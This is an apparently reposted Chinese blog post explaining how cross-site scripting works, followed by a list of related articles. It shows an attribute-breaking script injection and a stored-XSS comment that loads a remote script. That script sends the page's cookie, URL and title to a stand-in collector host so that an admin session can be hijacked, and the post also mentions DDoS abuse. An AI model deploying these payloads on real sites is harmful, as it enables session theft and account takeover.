跨站脚本攻击实现原理

怼烎@ 2022-08-18 05:45 200阅读 0赞

跨站脚本攻击`Cross-site scripting`是个比较老的漏洞攻击方法，今天对其了解了下。

它是如何实现的呢，假设有个表单需要提交，其中某个字段形如

<input type="text" name="t" value="" />

攻击者在此输入框填写了

" /><script>alert('xss')</script><input value="

这样的内容提交到服务器，而服务器没有进行过滤处理，将其存入数据库，下次编辑此表单时服务器对此内容输出，raw的html看起来像这样：

<input type="text" name="t" value="" /><script>alert('xss')</script><input value="" />

然后页面上就会多出1个输入框，并且会弹出确认框。这就是最简单的跨站脚本植入。

假设有个提交评论的输入框，在其上提交评论：

<script src="http://example.com/xss.js"></script>

提交表单，如果这段代码没有被过滤，当后台管理员查看评论时，照常运行的话，此段代码将开始工作，首先会请求`http://example.com/xss.js`，如果此时`http://example.com/xss.js`返回的内容为：

(function(){
       
        (new Image()).src = 'http://exmaple.com/xss_recv?location=' + encodeURIComponent(window.location.href) + '&cookie=' + document.cookie + '&title=' + encodeURIComponent(document.title)
    })()

那么浏览器将请求`http://exmaple.com/xss_recv`这个链接并附带上被脚本植入页面的一些信息，攻击者获取到这些信息，会尝试登陆那个管理后台，伪造cookie进行访问。

当然，除了窃取信息，也可以在访问量大的页面植入脚本，让脚本指向某个小型网站，可以达到DDoS的效果，使小网站宕机。

原文转自 ： http://www.bicky.me/blog/archive/cross-site-scripting/

发表评论取消回复

表情：

评论列表（有 0 条评论，200人围观）

还没有评论，来说两句吧...

相关阅读

相关 XSS跨站脚本攻击

阅读目录 [1、简介][1] [2、原因解析][2] [3、XSS攻击分类][3_XSS] [　　3.1、反射型xss攻击][3.1_xss]

拼搏现实的明天。/ 2023年10月17日 15:52/ 0 赞/ 142 阅读

相关网络安全-跨站脚本攻击(XSS)的原理、攻击及防御

目录简介所用工具 XSS的类型反射型XSS/不持久型XSS 存储型XSS/持久型XSS 基于DOM的XSS 常用Payload与工具 XSS扫描工具 P

以你之姓@/ 2023年02月22日 15:54/ 0 赞/ 27 阅读

相关跨站脚本攻击实现原理

跨站脚本攻击`Cross-site scripting`是个比较老的漏洞攻击方法，今天对其了解了下。它是如何实现的呢，假设有个表单需要提交，其中某个字段形如 <i

怼烎@/ 2022年08月18日 05:45/ 0 赞/ 201 阅读

相关详解XSS跨站脚本攻击原理及防御

一、XSS跨站脚本攻击跨站脚本攻击，英文全称是Cross Site Script，本来缩写是CSS，但是为了和层叠样式表CSS有所区别，所以在安全领域叫做“XSS”。X

- 日理万妓/ 2022年05月26日 00:20/ 0 赞/ 284 阅读

相关 XSS跨站脚本攻击

阅读目录 [1、简介][1] [2、原因解析][2] [3、XSS攻击分类][3_XSS] [　　3.1、反射型xss攻击][3.1_xss]

浅浅的花香味﹌/ 2022年05月10日 04:48/ 0 赞/ 281 阅读

相关 XSS(跨站脚本攻击)漏洞

公司的安全部门检测出来，我们的页面有xss漏洞，链接后带上alert，页面会弹出alert [https://www.\\.html?starType=%22/%3E%3Cs

墨蓝/ 2022年03月31日 14:52/ 0 赞/ 362 阅读

相关 SpringMVC 跨站脚本攻击防护（防止XSS攻击）

SpringMVC 跨站脚本攻击防护（防止XSS攻击） SpringBoot参考[SpringBoot 自定义ConfigurableWebBindingInitiali

比眉伴天荒/ 2022年03月31日 06:48/ 0 赞/ 785 阅读

相关 XSS（跨站脚本攻击）攻击与防御

一、 XSS攻击原理 XSS原称为CSS(Cross-Site Scripting)，因为和层叠样式表(Cascading Style Sheets)重名，所以改称为XS

忘是亡心i/ 2022年01月29日 07:29/ 0 赞/ 532 阅读

相关 XSS跨站脚本攻击

跨站脚本可以称为XSS，是攻击者向目标Web站点注入HTML标签或者脚本。所以在开发过程中javaScript程序员必须意识到这点。跨站脚本攻击（Cross-Site

￡神魔★判官ぃ/ 2021年11月09日 18:54/ 0 赞/ 444 阅读

相关跨站脚本攻击

跨站脚本攻击概念攻击原理危害防范手段概念跨站脚本攻击（Cross-Site Scripting, XSS），可以将代码注入

待我称王封你为后i/ 2021年10月19日 19:44/ 0 赞/ 368 阅读